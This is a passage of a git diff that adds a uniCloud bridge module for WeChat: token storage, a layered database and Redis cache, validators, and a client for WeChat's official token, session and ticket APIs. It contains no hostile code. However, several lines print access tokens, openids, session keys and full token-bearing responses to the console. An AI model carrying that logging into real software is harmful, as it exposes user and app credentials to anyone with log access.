+ removeAccessToken,
+ updateAccessToken,
+ getUserAccessToken,
+ setUserAccessToken,
+ removeUserAccessToken,
+ getSessionKey,
+ setSessionKey,
+ removeSessionKey,
+ getEncryptKey,
+ setEncryptKey,
+ removeEncryptKey,
+ updateEncryptKey,
+ getTicket,
+ setTicket,
+ removeTicket,
+ updateTicket,
+ ProviderType,
+ PlatformType,
+ WeixinServer,
+ ErrorCodeType
+}
diff --git a/uni_modules/uni-open-bridge-common/uniCloud/cloudfunctions/common/uni-open-bridge-common/package.json b/uni_modules/uni-open-bridge-common/uniCloud/cloudfunctions/common/uni-open-bridge-common/package.json
new file mode 100644
index 0000000..e277061
--- /dev/null
+++ b/uni_modules/uni-open-bridge-common/uniCloud/cloudfunctions/common/uni-open-bridge-common/package.json
@@ -0,0 +1,19 @@
+{
+ "name": "uni-open-bridge-common",
+ "version": "1.0.0",
+ "description": "",
+ "main": "index.js",
+ "scripts": {
+ "test": "echo \"Error: no test specified\" && exit 1"
+ },
+ "keywords": [],
+ "author": "",
+ "license": "ISC",
+ "dependencies": {
+ "uni-config-center": "file:..\/..\/..\/..\/..\/uni-config-center\/uniCloud\/cloudfunctions\/common\/uni-config-center"
+ },
+ "origin-plugin-dev-name": "uni-open-bridge-common",
+ "origin-plugin-version": "1.2.1",
+ "plugin-dev-name": "uni-open-bridge-common",
+ "plugin-version": "1.2.1"
+}
\ No newline at end of file
diff --git a/uni_modules/uni-open-bridge-common/uniCloud/cloudfunctions/common/uni-open-bridge-common/storage.js b/uni_modules/uni-open-bridge-common/uniCloud/cloudfunctions/common/uni-open-bridge-common/storage.js
new file mode 100644
index 0000000..b1665cc
--- /dev/null
+++ b/uni_modules/uni-open-bridge-common/uniCloud/cloudfunctions/common/uni-open-bridge-common/storage.js
@@ -0,0 +1,116 @@
+'use strict';
+
+const {
+ Validator
+} = require('./validator.js')
+
+const {
+ CacheKeyCascade
+} = require('./uni-cloud-cache.js')
+
+const {
+ BridgeError
+} = require('./bridge-error.js')
+
+class Storage {
+
+ constructor(type, keys) {
+ this._type = type || null
+ this._keys = keys || []
+ }
+
+ async get(key, fallback) {
+ this.validateKey(key)
+ const result = await this.create(key, fallback).get()
+ return result.value
+ }
+
+ async set(key, value, expiresIn) {
+ this.validateKey(key)
+ this.validateValue(value)
+ const expires_in = this.getExpiresIn(expiresIn)
+ if (expires_in !== 0) {
+ await this.create(key).set(this.getValue(value), expires_in)
+ }
+ }
+
+ async remove(key) {
+ this.validateKey(key)
+ await this.create(key).remove()
+ }
+
+ // virtual
+ async update(key) {
+ this.validateKey(key)
+ }
+
+ async ttl(key) {
+ this.validateKey(key)
+ // 后续考虑支持
+ }
+
+ async fallback(key) {
+ return {
+ value: null,
+ duration: -1
+ }
+ }
+
+ getKeyString(key) {
+ const keyArray = [Storage.Prefix]
+ this._keys.forEach((name) => {
+ keyArray.push(key[name])
+ })
+ keyArray.push(this._type)
+ return keyArray.join(':')
+ }
+
+ getValue(value) {
+ return value
+ }
+
+ getExpiresIn(value) {
+ if (value !== undefined) {
+ return value
+ }
+ return -1
+ }
+
+ validateKey(key) {
+ Validator.Key(this._keys, key)
+ }
+
+ validateValue(value) {
+ Validator.Value(value)
+ }
+
+ create(key, fallback) {
+ const keyString = this.getKeyString(key)
+ const options = {
+ layers: [{
+ type: 'database',
+ key: keyString
+ }, {
+ type: 'redis',
+ key: keyString
+ }]
+ }
+
+ const _this = this
+ return new CacheKeyCascade({
+ ...options,
+ fallback: async function() {
+ if (fallback) {
+ return fallback(key)
+ } else if (_this.fallback) {
+ return _this.fallback(key)
+ }
+ }
+ })
+ }
+}
+Storage.Prefix = "uni-id"
+
+module.exports = {
+ Storage
+};
diff --git a/uni_modules/uni-open-bridge-common/uniCloud/cloudfunctions/common/uni-open-bridge-common/uni-cloud-cache.js b/uni_modules/uni-open-bridge-common/uniCloud/cloudfunctions/common/uni-open-bridge-common/uni-cloud-cache.js
new file mode 100644
index 0000000..2e4286b
--- /dev/null
+++ b/uni_modules/uni-open-bridge-common/uniCloud/cloudfunctions/common/uni-open-bridge-common/uni-cloud-cache.js
@@ -0,0 +1,324 @@
+const db = uniCloud.database()
+
+function getType(value) {
+ return Object.prototype.toString.call(value).slice(8, -1).toLowerCase()
+}
+
+const validator = {
+ key: function(value) {
+ const err = new Error('Invalid key')
+ if (typeof value !== 'string') {
+ throw err
+ }
+ const valueTrim = value.trim()
+ if (!valueTrim || valueTrim !== value) {
+ throw err
+ }
+ },
+ value: function(value) {
+ // 仅作简单校验
+ const type = getType(value)
+ const validValueType = ['null', 'number', 'string', 'array', 'object']
+ if (validValueType.indexOf(type) === -1) {
+ throw new Error('Invalid value type')
+ }
+ },
+ duration: function(value) {
+ const err = new Error('Invalid duration')
+ if (value === undefined) {
+ return
+ }
+ if (typeof value !== 'number' || value === 0) {
+ throw err
+ }
+ }
+}
+
+/**
+ * 入库时 expired 为过期时间对应的时间戳,永不过期用-1表示
+ * 返回结果时 与redis对齐,-1表示永不过期,-2表示已过期或不存在
+ */
+class DatabaseCache {
+ constructor({
+ collection = 'opendb-open-data'
+ } = {}) {
+ this.type = 'db'
+ this.collection = db.collection(collection)
+ }
+
+ _serializeValue(value) {
+ return value === undefined ? null : JSON.stringify(value)
+ }
+
+ _deserializeValue(value) {
+ return value ? JSON.parse(value) : value
+ }
+
+ async set(key, value, duration) {
+ validator.key(key)
+ validator.value(value)
+ validator.duration(duration)
+ value = this._serializeValue(value)
+ await this.collection.doc(key).set({
+ value,
+ expired: duration && duration !== -1 ? Date.now() + (duration * 1000) : -1
+ })
+ }
+
+ async _getWithDuration(key) {
+ const getKeyRes = await this.collection.doc(key).get()
+ const record = getKeyRes.data[0]
+ if (!record) {
+ return {
+ value: null,
+ duration: -2
+ }
+ }
+ const value = this._deserializeValue(record.value)
+ const expired = record.expired
+ if (expired === -1) {
+ return {
+ value,
+ duration: -1
+ }
+ }
+ const duration = expired - Date.now()
+ if (duration <= 0) {
+ await this.remove(key)
+ return {
+ value: null,
+ duration: -2
+ }
+ }
+ return {
+ value,
+ duration: Math.floor(duration / 1000)
+ }
+ }
+
+ async get(key, {
+ withDuration = true
+ } = {}) {
+ const result = await this._getWithDuration(key)
+ if (!withDuration) {
+ delete result.duration
+ }
+ return result
+ }
+
+ async remove(key) {
+ await this.collection.doc(key).remove()
+ }
+}
+
+class RedisCache {
+ constructor() {
+ this.type = 'redis'
+ this.redis = uniCloud.redis()
+ }
+
+ _serializeValue(value) {
+ return value === undefined ? null : JSON.stringify(value)
+ }
+
+ _deserializeValue(value) {
+ return value ? JSON.parse(value) : value
+ }
+
+ async set(key, value, duration) {
+ validator.key(key)
+ validator.value(value)
+ validator.duration(duration)
+ value = this._serializeValue(value)
+ if (!duration || duration === -1) {
+ await this.redis.set(key, value)
+ } else {
+ await this.redis.set(key, value, 'EX', duration)
+ }
+ }
+
+ async get(key, {
+ withDuration = false
+ } = {}) {
+ let value = await this.redis.get(key)
+ value = this._deserializeValue(value)
+ if (!withDuration) {
+ return {
+ value
+ }
+ }
+ const durationSecond = await this.redis.ttl(key)
+ let duration
+ switch (durationSecond) {
+ case -1:
+ duration = -1
+ break
+ case -2:
+ duration = -2
+ break
+ default:
+ duration = durationSecond
+ break
+ }
+ return {
+ value,
+ duration
+ }
+ }
+
+ async remove(key) {
+ await this.redis.del(key)
+ }
+}
+
+class Cache {
+ constructor({
+ type,
+ collection
+ } = {}) {
+ if (type === 'database') {
+ return new DatabaseCache({
+ collection
+ })
+ } else if (type === 'redis') {
+ return new RedisCache()
+ } else {
+ throw new Error('Invalid cache type')
+ }
+ }
+}
+
+class CacheKey {
+ constructor({
+ type,
+ collection,
+ cache,
+ key,
+ fallback
+ } = {}) {
+ this.cache = cache || new Cache({
+ type,
+ collection
+ })
+ this.key = key
+ this.fallback = fallback
+ }
+
+ async set(value, duration) {
+ await this.cache.set(this.key, value, duration)
+ }
+
+ async setWithSync(value, duration, syncMethod) {
+ await Promise.all([
+ this.set(this.key, value, duration),
+ syncMethod(value, duration)
+ ])
+ }
+
+ async get() {
+ let {
+ value,
+ duration
+ } = await this.cache.get(this.key)
+ if (value !== null && value !== undefined) {
+ return {
+ value,
+ duration
+ }
+ }
+ if (!this.fallback) {
+ return {
+ value: null,
+ duration: -2
+ }
+ }
+ const fallbackResult = await this.fallback()
+ value = fallbackResult.value
+ duration = fallbackResult.duration
+ if (value !== null && duration !== undefined) {
+ await this.cache.set(this.key, value, duration)
+ }
+ return {
+ value,
+ duration
+ }
+ }
+
+ async remove() {
+ await this.cache.remove(this.key)
+ }
+}
+
+class CacheKeyCascade {
+ constructor({
+ layers, // [{cache, type, collection, key}] 从低级到高级排序,[DbCacheKey, RedisCacheKey]
+ fallback
+ } = {}) {
+ this.layers = layers
+ this.cacheLayers = []
+ let lastCacheKey
+ for (let i = 0; i < layers.length; i++) {
+ const {
+ type,
+ cache,
+ collection,
+ key
+ } = layers[i]
+ const lastCacheKeyTemp = lastCacheKey
+ try {
+ const currentCacheKey = new CacheKey({
+ type,
+ collection,
+ cache,
+ key,
+ fallback: i === 0 ? fallback : function() {
+ return lastCacheKeyTemp.get()
+ }
+ })
+ this.cacheLayers.push(currentCacheKey)
+ lastCacheKey = currentCacheKey
+ } catch (e) {}
+ }
+ this.highLevelCache = lastCacheKey
+ }
+
+ async set(value, duration) {
+ return Promise.all(
+ this.cacheLayers.map(item => {
+ return item.set(value, duration)
+ })
+ )
+ }
+
+ async setWithSync(value, duration, syncMethod) {
+ const setPromise = this.cacheLayers.map(item => {
+ return item.set(value, duration)
+ })
+ return Promise.all(
+ [
+ ...setPromise,
+ syncMethod(value, duration)
+ ]
+ )
+ }
+
+ async get() {
+ return this.highLevelCache.get()
+ }
+
+ async remove() {
+ await Promise.all(
+ this.cacheLayers.map(cacheKeyItem => {
+ return cacheKeyItem.remove()
+ })
+ )
+ }
+}
+
+module.exports = {
+ Cache,
+ DatabaseCache,
+ RedisCache,
+ CacheKey,
+ CacheKeyCascade
+}
diff --git a/uni_modules/uni-open-bridge-common/uniCloud/cloudfunctions/common/uni-open-bridge-common/validator.js b/uni_modules/uni-open-bridge-common/uniCloud/cloudfunctions/common/uni-open-bridge-common/validator.js
new file mode 100644
index 0000000..47a455b
--- /dev/null
+++ b/uni_modules/uni-open-bridge-common/uniCloud/cloudfunctions/common/uni-open-bridge-common/validator.js
@@ -0,0 +1,31 @@
+const Validator = {
+
+ Key(keyArray, parameters) {
+ for (let i = 0; i < keyArray.length; i++) {
+ const keyName = keyArray[i]
+ if (typeof parameters[keyName] !== 'string') {
+ Validator.ThrowNewError(`Invalid ${keyName}`)
+ }
+ if (parameters[keyName].length < 1) {
+ Validator.ThrowNewError(`Invalid ${keyName}`)
+ }
+ }
+ },
+
+ Value(value) {
+ if (value === undefined) {
+ Validator.ThrowNewError('Invalid Value')
+ }
+ if (typeof value !== 'object') {
+ Validator.ThrowNewError('Invalid Value Type')
+ }
+ },
+
+ ThrowNewError(message) {
+ throw new Error(message)
+ }
+}
+
+module.exports = {
+ Validator
+}
diff --git a/uni_modules/uni-open-bridge-common/uniCloud/cloudfunctions/common/uni-open-bridge-common/weixin-server.js b/uni_modules/uni-open-bridge-common/uniCloud/cloudfunctions/common/uni-open-bridge-common/weixin-server.js
new file mode 100644
index 0000000..ef476f1
--- /dev/null
+++ b/uni_modules/uni-open-bridge-common/uniCloud/cloudfunctions/common/uni-open-bridge-common/weixin-server.js
@@ -0,0 +1,203 @@
+'use strict';
+
+const crypto = require('crypto')
+
+const {
+ HTTP_STATUS
+} = require('./consts.js')
+
+const {
+ BridgeError
+} = require('./bridge-error.js')
+
+class WeixinServer {
+
+ constructor(options = {}) {
+ this._appid = options.appid
+ this._secret = options.secret
+ }
+
+ getAccessToken() {
+ return uniCloud.httpclient.request(WeixinServer.AccessToken_Url, {
+ dataType: 'json',
+ method: 'POST',
+ contentType: 'json',
+ data: {
+ appid: this._appid,
+ secret: this._secret,
+ grant_type: "client_credential"
+ }
+ })
+ }
+
+ // 使用客户端获取的 code 从微信服务器换取 openid,code 仅可使用一次
+ codeToSession(code) {
+ return uniCloud.httpclient.request(WeixinServer.Code2Session_Url, {
+ dataType: 'json',
+ data: {
+ appid: this._appid,
+ secret: this._secret,
+ js_code: code,
+ grant_type: 'authorization_code'
+ }
+ })
+ }
+
+ getUserEncryptKey({
+ access_token,
+ openid,
+ session_key
+ }) {
+ console.log(access_token, openid, session_key);
+ const signature = crypto.createHmac('sha256', session_key).update('').digest('hex')
+ return uniCloud.httpclient.request(WeixinServer.User_Encrypt_Key_Url, {
+ dataType: 'json',
+ method: 'POST',
+ dataAsQueryString: true,
+ data: {
+ access_token,
+ openid: openid,
+ signature: signature,
+ sig_method: 'hmac_sha256'
+ }
+ })
+ }
+
+ getH5AccessToken() {
+ return uniCloud.httpclient.request(WeixinServer.AccessToken_H5_Url, {
+ dataType: 'json',
+ method: 'GET',
+ data: {
+ appid: this._appid,
+ secret: this._secret,
+ grant_type: "client_credential"
+ }
+ })
+ }
+
+ getH5Ticket(access_token) {
+ return uniCloud.httpclient.request(WeixinServer.Ticket_Url, {
+ dataType: 'json',
+ dataAsQueryString: true,
+ method: 'POST',
+ data: {
+ access_token
+ }
+ })
+ }
+
+ getH5AccessTokenForEip() {
+ return uniCloud.httpProxyForEip.postForm(WeixinServer.AccessToken_H5_Url, {
+ appid: this._appid,
+ secret: this._secret,
+ grant_type: "client_credential"
+ }, {
+ dataType: 'json'
+ })
+ }
+
+ getH5TicketForEip(access_token) {
+ return uniCloud.httpProxyForEip.postForm(WeixinServer.Ticket_Url, {
+ access_token
+ }, {
+ dataType: 'json',
+ dataAsQueryString: true
+ })
+ }
+}
+
+WeixinServer.AccessToken_Url = 'https://api.weixin.qq.com/cgi-bin/stable_token'
+WeixinServer.Code2Session_Url = 'https://api.weixin.qq.com/sns/jscode2session'
+WeixinServer.User_Encrypt_Key_Url = 'https://api.weixin.qq.com/wxa/business/getuserencryptkey'
+WeixinServer.AccessToken_H5_Url = 'https://api.weixin.qq.com/cgi-bin/token'
+WeixinServer.Ticket_Url = 'https://api.weixin.qq.com/cgi-bin/ticket/getticket?type=jsapi'
+
+WeixinServer.GetMPAccessToken = function(options) {
+ return new WeixinServer(options).getAccessToken()
+}
+
+WeixinServer.GetCodeToSession = function(options) {
+ return new WeixinServer(options).codeToSession(options.code)
+}
+
+WeixinServer.GetUserEncryptKey = function(options) {
+ return new WeixinServer(options).getUserEncryptKey(options)
+}
+
+WeixinServer.GetH5AccessToken = function(options) {
+ return new WeixinServer(options).getH5AccessToken()
+}
+
+WeixinServer.GetH5Ticket = function(options) {
+ return new WeixinServer(options).getH5Ticket(options.access_token)
+}
+
+////////////////////////////////////////////////////////////////
+
+function isAliyun() {
+ return (uniCloud.getCloudInfos()[0].provider === 'aliyun')
+}
+
+WeixinServer.GetResponseData = function(response) {
+ console.log("WeixinServer::response", response)
+
+ if (!(response.status === HTTP_STATUS.SUCCESS || response.statusCodeValue === HTTP_STATUS.SUCCESS)) {
+ throw new BridgeError(response.status || response.statusCodeValue, response.status || response.statusCodeValue)
+ }
+
+ const responseData = response.data || response.body
+
+ if (responseData.errcode !== undefined && responseData.errcode !== 0) {
+ throw new BridgeError(responseData.errcode, responseData.errmsg)
+ }
+
+ return responseData
+}
+
+WeixinServer.GetMPAccessTokenData = async function(options) {
+ const response = await new WeixinServer(options).getAccessToken()
+ return WeixinServer.GetResponseData(response)
+}
+
+WeixinServer.GetCodeToSessionData = async function(options) {
+ const response = await new WeixinServer(options).codeToSession(options.code)
+ return WeixinServer.GetResponseData(response)
+}
+
+WeixinServer.GetUserEncryptKeyData = async function(options) {
+ const response = await new WeixinServer(options).getUserEncryptKey(options)
+ return WeixinServer.GetResponseData(response)
+}
+
+WeixinServer.GetH5AccessTokenData = async function(options) {
+ const ws = new WeixinServer(options)
+ let response
+ if (isAliyun()) {
+ response = await ws.getH5AccessTokenForEip()
+ if (typeof response === 'string') {
+ response = JSON.parse(response)
+ }
+ } else {
+ response = await ws.getH5AccessToken()
+ }
+ return WeixinServer.GetResponseData(response)
+}
+
+WeixinServer.GetH5TicketData = async function(options) {
+ const ws = new WeixinServer(options)
+ let response
+ if (isAliyun()) {
+ response = await ws.getH5TicketForEip(options.access_token)
+ if (typeof response === 'string') {
+ response = JSON.parse(response)
+ }
+ } else {
+ response = await ws.getH5Ticket(options.access_token)
+ }
+ return WeixinServer.GetResponseData(response)
+}
+
+
+module.exports = {
+ WeixinServer
+}